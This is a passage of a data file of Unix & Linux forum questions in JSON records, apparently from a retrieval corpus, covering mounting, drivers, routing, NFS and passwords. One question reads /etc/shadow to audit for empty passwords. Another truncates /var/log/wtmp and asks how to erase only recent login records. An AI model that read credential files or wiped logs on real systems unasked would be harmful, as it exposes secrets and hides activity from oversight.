../ rb-script/ sample1.rb sample2.rb"} {"_id": "33897", "title": "How to check for empty passwords?", "text": "Looking at all the ssh-login attempts by script-kiddies I assume that there are messed up systems connected to the internet that have password-less accounts set up. But how to check a Linux/Unix system for such accounts (perhaps created by a broken installer script, a confused admin or something like this)? As first approximation I can think of something like: $ grep '^[^:]\\+::' /etc/passwd /etc/shadow Prints all accounts with an empty password - but perhaps on the concrete system such accounts are not even a problem because no program accepts empty entries - c.f. password(5): > However, some applications which read the /etc/passwd file may decide not to > permit any access at all if the password field is blank. But what about hashed **empty** strings as passwords (e.g. `crypt(\"\")`)? How to check for them? And how to check accounts when more sophisticated account databases are in use (NIS, LDAP, ...)?"} {"_id": "78118", "title": "Python 2.7 and 2.6 coexist on the same machine", "text": "I want to follow a guide to install some software on a ReadyNas Duo (sparc). The guide indicates I need python 2.7, but I already have 2.6 installed. ~# which python /usr/bin/python ~# ls -al /usr/bin/python lrwx--x--x 1 root root 9 Jan 5 2012 /usr/bin/python -> python2.6 ~# python Python 2.6.6 (r266:84292, Mar 16 2011, 19:38:28) [GCC 3.3.5 (Debian 1:3.3.5-13)] on linux2 Other applications I have installed depend on python 2.6, but I'm not sure if they are going to break if I move to 2.7 Is it possible to install 2.7 alongside 2.6 so they coexist? I assume that applications depend on the default python using `/usr/bin/python` symlink, so ideally 2.7 could sit in `/usr/bin/python2.7` and the new application could just reference that directly?"} {"_id": "78114", "title": "Mounting a drive and accessing it", "text": "I have created a partition on `/dev/sdb` I want to be able to go to this drive when I type: cd /name What I did, which did not work. * `mkdir name` in `/mnt` * mounted the `/dev/sdb` on `/mnt/name` * updated the `fstab`: `/dev/sdb /name ext3 defaults 0 1` * `mount -a` (when i do this i get this message: 'the /name is not found') What am I doing wrong here. Running latest Debian distro"} {"_id": "109994", "title": "Difference between .changes and .dsc files? [manually updating package]", "text": "What is the difference between .changes and .dsc file? Debian Policy says about required field set, but misses the essence and the meaning on the whole. Why have two (actually there are three) when you can have the only one? Can this .changes file be derived from .dsc (or vice versa)? What is the transformation process? **Why?** I am trying to create Python script that automates updating of pure Python packages for Debian or Ubuntu systems. It needs to be cross-platform, because it is quite common to develop Python stuff on systems without classic Debian toolchain."} {"_id": "78117", "title": "How do I dual boot backtrack 5 r3 and Windows 8?", "text": "I have already successfully completed the Ubuntu and windows 8 dual boot but now I am trying to add backtrack and my computer (Hp 2000 Notebook pc) will not even see my backtrack files. I am trying to install backtrack from a usb and I have already \"Extracted\"(yes I know) the iso file."} {"_id": "78110", "title": "How to change the forgotten root password?", "text": "I am very new to Debian linux, I forgot my root password...actually I think I know what it is because it is the same password I have for pretty much everything but in the Terminal in tell me \"Sorry, try again.\" Is there a way to reset the password? If so how? I am very new and I am not familiar with any type of command proms in the Terminal."} {"_id": "33899", "title": "new user can't login in Mint", "text": "I have created a new user in Mint 12, with this commands: sudo useradd irene sudo passwd irene //here I entered the password But if I try to login with this user the screen goes black for a couple of seconds and then I'm back at the login screen (no error appears). I know the password I enter is correct, because if I enter something else the \"wrong password\" shows up. If you need more info or tell me what log files I should check, please tell me. Thank you for reading. **edit: adding info** here are the results for groups for the 2 existing users (mine, which is administrator, and the one for my gf): $ groups osdave osdave : osdave adm dialout cdrom plugdev lpadmin admin sambashare $ groups irene irene : irene I'd say I have to add irene to a group, but which one? Also, login as irene (in console): su irene and moving to home, there is only 1 `osdave` directory: shall I create it myself? mkdir irene"} {"_id": "72219", "title": "Rsync seems to back up files that haven't been opened or changed", "text": "I have started using `rsync` to back some data on my mac to an external HD. It works really well, but I have noticed something odd. Every time I run the command, I get a list of files that haven't been modified or even opened since the the last backup. Why might this be?"} {"_id": "34047", "title": "How to clear the last -10 info?", "text": "How to clear the last -10 information only for a Linux system? I tried to execute the command `> /var/log/wtmp` to clear the last info, but it clears the whole login info , but I need to clear only last -10 login info."} {"_id": "88520", "title": "RHEL - permanently unmask all sub-folders and files", "text": "I'm new to RHEL, and I'm having issues unmasking a collections of directories. I have a folder where content will be generated content from a python script. The subfolders will exists for a period of time, then get deleted. The folders were originally masked with one user being able to read/write to them, but recently we needed to allow anyone to access these folders. I ran the unmask command on the folder with the -R (recursive option) to unmask all subfolders and files. It appeared to work until new content was generated and BAM same problem, the folders and files were masked. How do I permanently unmask all sub-folders and files for a folder? I need these files to be accessible to everyone with create/read/write access."} {"_id": "34045", "title": "How can I change which file manager dropbox opens with by default?", "text": "I installed Xubuntu on a new laptop I got, and this being my first time using xfce, I accidentally told my dropbox folder to open with nautilus (coming from ubuntu) and not thunar. Now it will not allow me to open the folder via the task bar. Is there any way to tell it to use thunar instead?"} {"_id": "109032", "title": "How to get a history entry to properly display on multiple lines", "text": "Suppose I have entered a function at the bash prompt, on multiple lines rather than squeezing it onto one with semicolons: $ function blah { echo blah } $ history -1 12690 function blah {\\necho blah\\n} How do get this to display with real newline characters instead of '\\n'?"} {"_id": "34043", "title": "NVidia driver for the 3.2.9 kernel", "text": "I upgraded the kernel on my OpenSUSE 12.1 64bit from 3.1.9 to 3.2.9, and when I rebooted, X-windows refused to start, and I got into shell. I tried to run it manually with `startx`, but still no good. I managed to make X-windows work by removing the NVidia driver(I had the latest version). When I tried to reinstall it, the installer complained that the drivers are compiled with GCC 4.5 and therefore are not compatible with the kernel, which is compiled with GCC 4.6. I think it's safe to assume that's the reason it didn't work in the first place... Installing the NVidia driver from the bumblebee repository(originally I installed it from the `NVIDIA-Linux-x86_64-295.20.run` installer from NVidia's site) didn't work either(this time I just got a black screen, and had to use failsafe mode to remove that driver). Now, I know the NVidia driver for Linux is not open source, so I'm not going to be able to compile it myself, but is there another way to make it work with the latest kernel, or do I have to wait for NVidia to release a new version for GCC 4.6 compiled kernels? **UPDATE** I've mailed to NVidia, and their tech support noticed that I understood the error message wrong. The NVidia driver was compiled with GCC 4.6 - it was the Linux kernel that was compiled with GCC 4.5. So, the solution is clear - I need to compile my own kernel..."} {"_id": "34040", "title": "Why does the /boot partition get updated when I install software", "text": "Based on some recommendations I read online, on install of a new (Ubuntu) system, I made my `/boot` partition separate from `/` and small in size (only around 50 MB). It makes sense to me that you would only need limited files in that partition, and the boot sequence only needs so much data initial data on boot so no need (or so goes my thinking) to make it much larger. I was surprised as I started using my system and installing software was failing due to the following (or similar) issue: gzip: stdout: No space left on device cpio: write error: Broken pipe E: mkinitramfs failure cpio 1 gzip 1 update-initramfs: failed for /boot/initrd.img-3.2.0-18-generic with 1. I have already seen this question and am planning on doing a reinstall with a larger `/boot` partition. My questions are: **Why does the`/boot` partition data get updated when I am only installing software?** obviously 50 MB is too small for my needs, so **what would be a reasonable`/boot` partition size?** **Does it even make sense to have separate boot partition?** after all it could simply use all the disk space it wants in the `/` partition."} {"_id": "72215", "title": "RHEL6: system default font", "text": "When I fire up urxvt or xterm, by default the font is a sans-serif monospace unaliased font. I would like to make this my font in other applications, but I can't find it in my system font list (i.e. I can't find it in the font list in gnome-control-center). I tried looking in `/etc/X11/Xresources` and `~/.Xresources`, but there are no fonts mentioned in either. Does anybody know how to determine what font this is?"} {"_id": "72217", "title": "how to use syslog to avoid log file being garbled when multiple proceses are trying to write to the same log fille?", "text": "I wanted to know usage of syslog when multple processes are trying to write to the same log file like for i in $var do some process >> logfile & done wait"} {"_id": "34049", "title": "What's the easiest way to find out relevant video card/driver information", "text": "I need to know my video card/chipset, X11 Driver, driver version, and Xorg version. It seems to me that finding this information is always scattered throughout various utilities. Is there an easy way to get it all at once?"} {"_id": "128264", "title": "Wildcard automounts with systemd", "text": "I\u2019m running jessie/sid with systemd 208 and try to convert the following wildcard autofs configuration to either an `/etc/fstab` or `.mount`/`.automount` definition. $ cat /etc/auto.master /home/* -fstype=nfs homeserver:/exp/home/& (homeserver runs a Solaris with each subdirectory in `/exp/home/` being a separate share.) Is there a way to emulate wildcard maps with systemd?"} {"_id": "31490", "title": "Using files that have spaces in their name in pipes", "text": "I have folder named `play` which contains a file `damn file` (with space). When I use `find` and pipe the output to `tar`: find play/ -name 'damn*' | tar cf archive.tar -T - It works perfectly. Why does this works The output of `find` contains space that should cause problem for `tar`. When I use this command: tar cf archive.tar $(find play/ -name 'damn*') bash shows these errors: tar: play/damn: Cannot stat: No such file or directory tar: file: Cannot stat: No such file or directory tar: Exiting with failure status due to previous errors I'm confused. Why does the first example work?"} {"_id": "133879", "title": "How to do array addition multiplication program in a shell script?", "text": "Write a program arr_calc to perform array addition and array multiplication, The program takes 4 arguments: Argument 1: The file name of the input array A Argument 2: The file name of the input array B Argument 3: The file name of the output array C Argument 4: The calculation (a for addition, m for multiplication) e.g., arr_calc file1 file2 file3 a"} {"_id": "31496", "title": "routing between two private networks (NICs)", "text": "I have two private networks say: `10.0.1.0/8` and `192.168.0.0/24` I have two machines with two NICs per each machine. machine1 NIC1: 192.168.0.10 machine1 NIC2: 10.0.1.10 machine2 NIC1: 192.168.0.11 machine2 NIC2: 10.0.1.11 How to configure the routing so that from machine1 to machine2, it would use actually machine1 NIC2? The thing is that 10.0.1.0 network is Gigabit and 192 one is Fast Ethernet (100Mbit). My goal is to communicate between those two through the fastest connection (i.e: NIC2) even if they are trying to access by NIC1's IP."} {"_id": "31494", "title": "Can Bumblee really help with Optimus Laptops?", "text": "I bought Lenovo Z570 which comes with nVidia GEForce GT520M (Optimus technology) and recently I installed Ubuntu 11.10. Surprisingly, whenever I boot my system CPU fan rotates at very high speed and so my battery backup is screwed up.I googled about this problem but I am not able to come to some conclusion. According to some vague sources, because of some bug, the Linux kernel is not able to support Optimus technology as of now. Does anyone have any solution for this problem?"} {"_id": "155422", "title": "Unix script to extract the pattern match", "text": "Input File: Product Releases ic 06.16.060 Kit 2.8@20140409.0 I want to extract the information from the above input text file using unix shell and save it in a file as follows: ic 06.16.060 kit 2.8@20140409.0"} {"_id": "31498", "title": "is it possible to send a control sequence to a terminal emulator using the keyboard", "text": "If you type `echo -e '\\eZ'` and hit return in a shell running in an xterm, you'll see that the terminal emulator prints an obscure code `1;2c`. This seems to indicate that xterm interprets the VT100 control sequence `\\eZ` (`ESC Z`, return terminal ID) and acts accordingly. Now, if you press `ESC Z` in the same console, nothing happens. Does this mean that it is not possible to send control characters directly using the keyboard? I'm not sure what is happening here, because pressing `CTRL s` (control flow) does stop the console output until you press `CTRL q`. So why does `CTRL s/q` work and not `ESC Z`?"} {"_id": "14836", "title": "Is there a software like Nokia Ovi Suite for syncing Nokia symbian phones with GNU/Linux?", "text": "I have been looking unsuccessfully for many days for a nice linux software similar to the Nokia Ovi Suite or Nokia PC Suite for syncing Messages, Contacts etc in Ubuntu/Fedora. There were rumors about a 'Nokia Ovi Suite for linux' in Nokia Beta Labs. But it didn't exist last time I checked. It is really inefficient to switch to windows time and again just to sync my phone. Any suggestions?"} {"_id": "133874", "title": "Read all files in folder and subfolders - progress and size", "text": "Command I have is: time find . -type f -print -exec cp {} /dev/null \\; This command finds all files in current folder and subfolders, print the name of each file and copy each of them to /dev/null. At the end it shows how much time it took to copy all the files. What I need is to count (show) all copied bytes at the end (so I would be able to compute the read speed //cache doesn't matter//) and/or show each file's size beside it's name. If there would be possibility to show progress for each file (pv) - that would be great! For this purpose I'm using Cygwin and it's bash shell, but script should also work on real Linux systems. **EDIT:** The idea is to read the files, not to copy them (rsync)."} {"_id": "41406", "title": "Use a variable reference \"inside\" another variable", "text": "I'm sure it is relatively simple, I just don't know how to do it. #!/usr/bin/ksh set `iostat` myvar=6 I want to something like `echo ${$myvar}` which i want interpreted as `${$myvar}` -> `${6}` -> `value`"} {"_id": "47258", "title": "Plotting the sleep/wait chain of a process", "text": "I often want to know why a process in the middle of a pipeline is sleeping and not busy processing data. My current method is: 1. find the `pid` of interest 2. `sudo strace -pt pid` to get the blocking syscall and object (fd, child, futex, etc.) 3. hit `Ctrl``c` to detach strace 4. look up the appropriate object in `/proc/pid` 5. `grep /proc/` or use `lsof` to find the other end of the pipe or process being waited on 6. repeat from #1 with the new `pid` This is a pretty slow process that combines a lot of tools that don't play well together (`strace` in particular is hard to automate). Is there a tool that will do this loop for me and plot out the wait chain of a process, or at least make one iteration less awkward? Linux 3.2, Ubuntu LTS 12, x64, under VirtualBox, if it matters."} {"_id": "131434", "title": "How to detect a desktop application hanging", "text": "I want to write a script that will detect whether a particular desktop application is responding and kill it. Is this possible? I know I've seen the GNOME desktop put up a \"Application is not responding\" dialog, and I figure it sends some sort of signal to the window and waits a certain amount of time for a response. If there's a way to do something like that, I'd appreciate some details. Thank you! (This is on xfce, if it matters)"} {"_id": "88299", "title": "How to list killable tasks?", "text": "As manpage of ps states A process with STATUS with the value \"D\" means \"uninterruptible sleep (usually IO)\" Also, I've read: You should use TASK_INTERRUPTIBLE here, otherwise your kernel thread cannot receive signals and you are not able to kill(1) your thread from userspace or use kthread_stop() in the kernel. If the above is not enough you can read: process status (STAT) of D indicates that the process is in an \"uninterruptible sleep\" state. In real-world terms, this generally means that it's waiting on I/O and can't/won't do anything - including dying - until that I/O operation completes. Let's say I run a process that waits IO: [root@mpinode02 Distros]# find / -mmin +10 > /dev/null & [1] 15592 Then I take a look to the status and wchan process [root@mpinode02 Distros]# ps -C find -ostat,comm,wchan STAT COMMAND WCHAN D find sleep_on_buffer OK, let's see if the process is really uninterrumpible: [root@mpinode02 Distros]# kill 15592 [1]+ Terminated time find / -mmin +10 > /dev/null So, as you can see process with D in the real world was killed, is the man page of ps outdated? Indeed I see that there is a new kind of state: TASK KILLABLE but I want to know hot to list them. Do you know how to list killable tasks or identify them?"} {"_id": "131430", "title": "Permission denied (13)", "text": "I am using Clonezilla 2.2.3-10. When trying to mount via `samba`, I get permission denied (13). I am able to connect via Windows XP, by simply entering the ip + share name \\\\192.168.1.240\\MyShareName I am asked by credentials and I am able to access the share. Going through Clonezilla, it tries to mount with the following: mount -t cifs //192.168.0.240/MyShareName /home/partimag -o username=myusername and I receive the permission denied error. Any help would be appropriated."} {"_id": "131431", "title": "Wrap sentences into columns", "text": "I'm looking for a way to take sentences and wrap them. Using something like `column` is not what I want as in my scenario there will be multiple sentence columns in the 80 characters. Is there any way to do this? I should note that doing once sentence is not an issue. It's doing multiple ones at the same time. 5/15/2014 | Friday | Server went down and cause outage | Rick accidentally shut it off. I added the | to delimit. But each of these would be wrapped to a certain length. All at the same time with respect to each other."} {"_id": "131432", "title": "Which driver is handling my touchpad?", "text": "I would like to know how to determine which driver (out of those below) is handling my touchpad: appletouch.ko.gz, cyapa.ko.gz, sermouse.ko.gz, synaptics_usb.ko.gz, bcm5974.ko.gz, psmouse.ko.gz, synaptics_i2c.ko.gz, vsxxxaa.ko.gz"} {"_id": "88291", "title": "Getting my Smart Card reader to work on Linux", "text": "I got a Smart Card reader, that I ripped from a Laptop the other day. It is an internal Smart Card reader, though it uses USB, so making a cable for it, was no problem. It seems it's recognized by the USB driver correctly: [1370965.148035] usb 1-3.2: new low-speed USB device number 25 using ehci-pci [1370965.229948] usb 1-3.2: New USB device found, idVendor=08d4, idProduct=0009 [1370965.229962] usb 1-3.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [1370965.229969] usb 1-3.2: Product: Fujitsu Siemens USB Smartcard Reader [1370965.229976] usb 1-3.2: Manufacturer: OMNIKEY AG As it is a pretty much bog standard Fujitsu Siemens USB Smartcard Reader, it should be work with the drivers for the \"Fujitsu Siemens SmartCard USB 2A\" and \"Fujitsu Siemens SmartCard Keyboard USB 2A\". Both of which are the exact same thing, except the \"Keyboard\" variant is in permanently attached to a USB keyboard (as in, in the same case). The PC/SC drivers don't recognize the reader. The readers I mentioned above are supported by libccid, but `pcscd` can't recognize the reader by it's vendor and product IDs: 00000286 hotplug_libudev.c:260:get_driver() Looking for a driver for VID: 0x08D4, PID: 0x0009, path: /dev/bus/usb/001/026 (It just steps over to the next USB device. Eventually, it tries all USB devices and does nothing after that.) I'd like some advice what I should do now? The only thing I can do, is download the CCID driver source and try to hack it in there, or at least that's the only thing I can come up with right now. Is there anything else I can try? * * * I got a little bit further with OpenCT: I had to uncomment a line in `/etc/openct.conf`: driver cardman { ids = { # usb:076b/0596, # OMNIKEY CardMan 2020 # usb:076b/1784, # OMNIKEY CardMan 6020 usb:08d4/0009, # Fujitsu Siemens SCR USB Reader }; }; I don't know why the IDs of those `cardman` drivers are commented-out, maybe the driver isn't really working yet? Anyway, with this, I can get something with `openct-tool`: $ openct-tool list 0 OMNIKEY CardMan 2020/6020/6120 I've put in a simple EEPROM card and it senses this card, but I can't read from it: $ openct-tool read Detected OMNIKEY CardMan 2020/6020/6120 Card present, status changed failed to reset card So, it's still not working, really... * * * There used to be a driver for PC/SC that supported this card reader: pcsc- lite-cm2020, however, it seems to be gone now. I've downloaded the source package from the manufacturer. It is very old. I've copied the contents to `/usr/lib64/pcsc/drivers`, but it doesn't work obviously, since it's compiled for the wrong architecture. The only sources in there, compile the kernel module, but not the `libcm2020.so` that I need for `pcscd`. I couldn't find the sources for `libcm2020.so`, if I'm missing something, and indeed it is possible to compile the library, a hint where to find the sources would be awesome."} {"_id": "88294", "title": "Backtrack 5 R3 - Refuses to connect to VPN", "text": "I wanted to ask this on the Backtrack Linux forums but for some reason I couldn't register, reading it was disabled by the administrator. So I apologize if I'm in the wrong place (which I feel like I am, even though BT is based on Ubuntu). A week ago my VPN connections were fine. I'm using network-manager on GNOME. My OpenVPN connections (done via terminal) also connected fine. Now, out of nowhere, the PPTP VPN setup in my network-manager keep reporting a failed connection, and when I try OpenVPN it reports a success, but I can't access the internet. If I enter in a site it just hangs forever :( The same VPN with same config, same credentials, same everything works perfectly on Ubuntu 12.04 LTS and Windows 7 (I have a triple boot). I did not run any updates or upgrades since then. What can I do?"} {"_id": "88296", "title": "Get vertical cursor position", "text": "This might sound pretty weird, but I know how to set the vertical cursor position in Bash like this: echo -e \"\\e[12H\" This moves the cursor to the 12th line (starting with 1). So how do I get the cursor position (line number) using linux bash? It would be helpful if I could simply store this value in a variable so I can calculate with it. **EDIT:** This is the error I get: $ sh rowcol.sh -en read: 9: Illegal option -d test.sh: 12: Bad substitution"} {"_id": "108317", "title": "Help with directory ownership/permissions for apache", "text": "I've been using Ubuntu Linux for a couple years now but I still have trouble with permissions. I need to setup my web server for production. The root web directory should always be accessible by Apache and me (I login to ftp with my account) as well (if possible) by my CGI applications. I would like to hear your ideas of the best way to set something up like this in production. Maybe what I've suggested isn't the best way to set this up even. If there's a better way to set things up for production (I plan to be using CGI scripts and compiled CGI binaries)"} {"_id": "108316", "title": "host only ip address: can it be 10.*.*.*?", "text": "My router is set to have computers IP range from 10.1.1.1 to 10.1.1.60 I'm trying to run Linux in virtual box in a host computer with windows 7. The host computer has 10.1.1.5 currently, which is dynamic, set by DHCP on the router. The command, `ipconfig`, on the host computer shows the VirtualBox host only IP address 192.168.56.2 and Linux in it was well connected to the network. But later I changed the IP address of Linux as static 10.1.1.16 using `vim /etc/network/interfaces`. Then in the host computer's network configuration settings, I changed the IP address of VirtualBox as 10.1.1.16. Now my Linux is no longer connecting to the network. I'm new to this and am attempting to learn how these things work. Please help in showing me, what did I do wrong?"} {"_id": "108310", "title": "Why is vim not being opened in its own screen?", "text": "When I type `vim` in `xterm` the program is not opened in its own screen, but in the very same I am writing commands in. Let me explain: for example, lets say I type in the terminal `ls -l /usr/bin` and get a big list of programs. After that I type `vim` and the program is opened, but if I scroll up I can still see the list of programs in `/usr/bin`. As far as I remember, when I opened `vim` it would start in a clean screen with nothing behind it, so if I wanted to go back to the terminal I had to quit. ![Here is a screenshot of what is happening](http://i.stack.imgur.com/HG5b5.png) Why is `vim` behaving like this and how can I change it?"} {"_id": "83950", "title": "Mail Server on CentOS - Relay access denied", "text": "I have setup Postfix and Dovecot on my CentOS Server. Now I am using unsecure SMTP and POP/IMAP (ports 25 and 110/143). I can send mail locally to and from myself, but when I want to send email TO my gmail account, eg. david@gmail.com, it responds: Relay access denied I tried the following, but it still gives me an access deny issue. Made the following changes to `/etc/postfix/main.cf`: smtpd_sasl_local_domain = smtpd_sasl_auth_enable = yes smtpd_sasl_type = cyrus smtpd_sasl_security_options = noanonymous broken_sasl_auth_clients = yes smtpd_sasl_authenticated_header = yes smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination"} {"_id": "83956", "title": "SMTP/POP server only for internal e-mails on hosted domain", "text": "We have a domain for a web site and e-mail that's hosted off-site. (We don't have a reliable enough connection to host it ourselves.) Our shared host sometimes has SMTP problems, but never POP problems. Is it possible to set up an e-mail server on CentOS 6.4 that will work internally (i.e. sending between e-mail addresses on our domain, even though our network domains are named differently than our web site) even if our Internet is down or our shared host's SMTP server is down, but will use our shared host's SMTP for outside addresses, and will still allow POP mail to be retrieved from the shared host, e.g. when we're at home or on the road?"} {"_id": "83957", "title": "how does ssh discover hostnames on the network?", "text": "We have a server on the company network named serverA, and if I type `ssh serverA`, it will connect my PC to this server, even though there is no entry for this server in my `/etc/hosts`, but I used to have another PC where I do have to set this up manually in `/etc/hosts`. So, how does ssh discover hostnames on the network, and how can I make sure it works? (Both these machines I mentioned are running Kubuntu Linux, the older one runs 12.10, the newer one runs 13.04.) I have the following content in `/etc/resolv.conf`: # Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8) # DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN nameserver 127.0.1.1 search mycompany.com Processes listening on port 53: sudo ss -ulnp | grep 53 #UNCONN 0 0 *:5353 *:* users:((\"avahi-daemon\",937,12)) #UNCONN 0 0 127.0.1.1:53 *:* users:((\"dnsmasq\",1781,4)) #UNCONN 0 0 :::5353 :::* users:((\"avahi-daemon\",937,13))"} {"_id": "4761", "title": "How to ensure the bluetooth is switched off after boot up?", "text": "Please show me which magic button to press for the case where I'm tired of manually switching off the distracting bluetooth light on my laptop after every boot-up."} {"_id": "4765", "title": "`p` key doesn't work in X", "text": "Today I had to force-shutdown my machine after it froze during resume from suspend. Since the reboot, I've found that the `p` key doesn't work normally in X. It does work normally in the console. Modified keypresses, e.g. `shift`-`p`, `ctrl`-`p`, do work normally. Pressing `p` with `xev` running gives FocusOut event, serial 34, synthetic NO, window 0x5000001, mode NotifyGrab, detail NotifyAncestor FocusIn event, serial 34, synthetic NO, window 0x5000001, mode NotifyUngrab, detail NotifyAncestor KeymapNotify event, serial 34, synthetic NO, window 0x0, keys: 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Could this problem be happening because of file corruption? What file would I check for corruption? I've done an fsck on the system drive \u2014by running `tune2fs -C 200 /dev/sda3` before rebooting\u2014 which seems to have come up clean. I.E. $ sudo tune2fs -l /dev/sda3 | grep 'state\\|check' Filesystem state: clean Last checked: Sat Dec 11 12:27:16 2010 Next check after: Thu Jun 9 13:27:16 2011 I'm running an updated (last dist-upgrade done yesterday) ubuntu 10.10."} {"_id": "145695", "title": "Comment all lines from last commented line to line with 'foo'", "text": "Consider a text file `users.txt`: #alice #bob charlie dotan eric I need to comment everything from (exclusive) the last commented line until (inclusive) `dotan`. This is the result: #alice #bob #charlie #dotan eric **Is there a nice`sed` oneliner to do this?** I'll be happy with any tool, not just `sed`, really. Currently I am getting the line number of the last commented line as so: $ cat -n users.txt | grep '#' | tail -n1 2 #bob I then add one and comment with `sed`: $ sed -i'' '3,/dotan/ s/^/#/' users.txt I know that I could be clever and put this all together with some `bc` into an ugly one-liner. **Surely there must be a cleaner way?**"} {"_id": "139669", "title": "Problem with former RAID hard drive settings in Linux Mint 17", "text": "I'm new to Linux, just installed Linux Mint for the first time. I have two hard drives which were previously in a RAID configuration. Now before I have installed Linux I've changed them to individual drives. * I've changed BIOS setting to AHCI * I've switched off the J Micron RAID controller * I've changed drive signatures under Windows 7 They are properly detected and working in Windows 7, but in Linux even though they're visible in \u201cDevices\u201d as two individual drives the system is unable to mount them. GParted still displays: /dev/mapper/isw_ccjafbfdhc_RAID_Volume0 with all space unallocated. When I display information for an individual disk it says: The device /dev/sdc1 doesn't exist Unable to read the contents of this file system! Because of this some operations may be unavailable. The cause might be a missing software package. The following list of software packages is required for ntfs file system support: ntfsprogs / ntfs-3g. What should I do in order to access these drives in Linux? Please point me in the right direction. ### UPDATE After booting to Windows again, the two HDDs had again the same signature, and unfortunately the same file structure i.e. files were overwritten with files from the second hard drive. Fortunately I had them backed up."} {"_id": "77061", "title": "YUM UPDATE stuck forever", "text": "I created repository for RHEL 5.6 . There was already an exiting repository for RHEL5.2 which I deleted. And i run following commands yum clean all yum clean metadata then, Yum list all It list all the packages. But when I type YUM UPDATE. It shows Setting up Update Process Setting up repositories rhel-local 100% |=========================| 951 B 00:0 Reading repository metadata in from local files primary.xml.gz 100% |=========================| 1.1 MB 00:0 ################################################## 3229/3229 Setting up Update Process Setting up repositories Reading repository metadata in from local files And thats all folks. Further there is no response from YUM UPDATE. Any idea"} {"_id": "4768", "title": "Prevent mplayer from changing system volume", "text": "When I change the volume in mplayer it also changes for other applications. How can I configure mplayer to only change its own volume? Or is this a problem with the rest of the audio stack? I am using alsa with esd."} {"_id": "77062", "title": "Running K3b from the command line", "text": "I wish to run K3b from the command line. I do not mind if it opens windows, as long as I do not have to click in them and they ultimately close. Specifically, I wish to run `k3b --copy /dev/cdrom`. This works, of course, but I have to click a window to actually start the processing, which is annoying in my context. The reason I want to do everything from the command line is to embed it all in a simple script, and forget it as soon as it is started (Yes, I know I cannot fill the drive from the command line ... not yet :-) ) I know that many of the K3b processing features are just MMI embedding of independent applications, which could be called independently of K3b (K3b explicitely lists them). But this apparently not the case for `k3b --copy`. I am running Mageia Linux with Kde. **Added after first answers** I do not want to burn new copies. This is exclusively to have ISO images of the CDs/DVDs, for processing on hard disk. My archive is fairly large and unwieldy on optical media. I realize K3b is bloated. But it has been doing a good job for me so far, and I tend to trust it. Suggestions of other applications are certainly useful, still. This said, I like command line, and I am interested in an answer to my original question if there is one."} {"_id": "77066", "title": "Getting error opening Windows. Error 1: Filename must be either an absolute pathname or blocklist", "text": "I've installed CentOS 6.4 on UEFI machine. Created `/boot/efi` partition and installed grub in it. But when I open `Other` in the grub menu I get this error: > Error 1: Filename must be either an absolute pathname or blocklist I've Windows 8 installed in `/dev/sda2` and here's my `grub.conf` : device (hd0) HD(4,a126000,32000,8531805b-e9fb-4220-bdcd-7eec68f1e1c7) default=0 timeout=5 splashimage=(hd0,8)/boot/grub/splash.xpm.gz hiddenmenu title CentOS (2.6.32-358.el6.x86_64) root (hd0,8) kernel /boot/vmlinuz-2.6.32-358.el6.x86_64 ro root=UUID=9f88ba7d-4787-4ecb-8294-436170ecd53e rd_NO_LUKS rd_NO_LVM LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb$ initrd /boot/initramfs-2.6.32-358.el6.x86_64.img title Other rootnoverify (hd0,1) chainloader +1 Any help would be appreciated."} {"_id": "137109", "title": "What are the difference between those four commands (fifo, process substitution, redirection...)", "text": "My goal is to create a simple echo server using `nc` and a single `fifo`. I'm not looking for the best way to do it, I'm merely trying to understand the semantics of the following commands (when does fork happen, why, what does it change, why the commands behave differently...). I'm using Bash, so I'm not sure if all of the commands will work with a POSIX `sh` or `zsh`, `ksh`, ... Here are the four commands I'm mentioning in the title (assuming that I already did `mkfifo fifo`): cat fifo | nc -l localhost 8888 > fifo exec 3<> fifo && nc -l localhost 8888 <&3 >&3 && exec 3>&- nc -l localhost 8888 <(cat fifo) > fifo nc -l localhost 8888 < fifo > fifo Now I would expect the 4 commands to do the same thing, at the very least the two last ones to do the same thing. 1. The first command behaves as expected, a simple echo server that shuts down when the client closes the connection. 2. Behaves like 1. 3. I can connect to the server, send data, but I never receive anything back. When I close the client connection, the server shuts down. 4. Can't connect to the server, the server listens forever."} {"_id": "138459", "title": "Routing a LAN through OpenVPN on OpenBSD 5.5", "text": "I'm configuring an OpenVPN gateway to allow a LAN access to the internet through the tunnel. The gateway is running OpenBSD 5.5-stable amd64 on the PC Engines APU platform. The LAN contains `re1`, `re2`, and `ral0` interfaces. It also contains `vether0` which hosts the local `192.168.2.0/24` network. These interfaces are linked under `bridge0` to provide a common gateway, subnet, and DHCP via `dhcpd`. The VPN is established and `tun0` is opened. The gateway itself can access the VPN just fine. The problem is that, by default, the hosts access the VPN with their native `192.168.2.0/24` addresses. NAT is needed to translate the local network to the VPN network at `10.0.1.0/24`. I have tried the following `pf.conf` configurations: # pf.conf -- 10.0.1.10 is my tun0 gateway set skip on lo block return pass in quick on { vether0 re1 re2 ral0 } from 192.168.2.0/24 to !10.0.0.0/8 nat-to 10.0.1.10 pass I had similar results with these rules: # pf.conf ... pass in from any nat-to 10.0.1.10 pass out from tun0 to any This allows LAN traffic to pass through `tun0` with a source address of `10.0.1.10`, and return traffic is passed back to the respective host. The new problem is that return traffic still does not appear to be routing correctly. For example, I can ping `8.8.8.8` and `google.com` from any LAN host, however the first reply is ALWAYS dropped between `tun0` and the return interface. Tools like `dig`, `nslookup`, `traceroute`, and `ping` are generally sluggish and take far longer than they should. Despite some traffic still passing, browsers and other applications are unusable. `tcpdump` demonstrating the loss: # 192.168.2.103 is a LAN host # 74.125.131.139 is google.com # on ral0 20:59:35.668251 192.168.2.103 > 74.125.131.139: icmp: echo request <-- no reply 20:59:40.651184 192.168.2.103 > 74.125.131.139: icmp: echo request 20:59:40.736748 74.125.131.139 > 192.168.2.103: icmp: echo reply 20:59:41.656101 192.168.2.103 > 74.125.131.139: icmp: echo request 20:59:41.741251 74.125.131.139 > 192.168.2.103: icmp: echo reply 20:59:42.661071 192.168.2.103 > 74.125.131.139: icmp: echo request 20:59:42.802410 74.125.131.139 > 192.168.2.103: icmp: echo reply # on tun0 20:59:35.668359 10.0.1.10 > 74.125.131.139: icmp: echo request 20:59:35.764052 74.125.131.139 > 10.0.1.10: icmp: echo reply 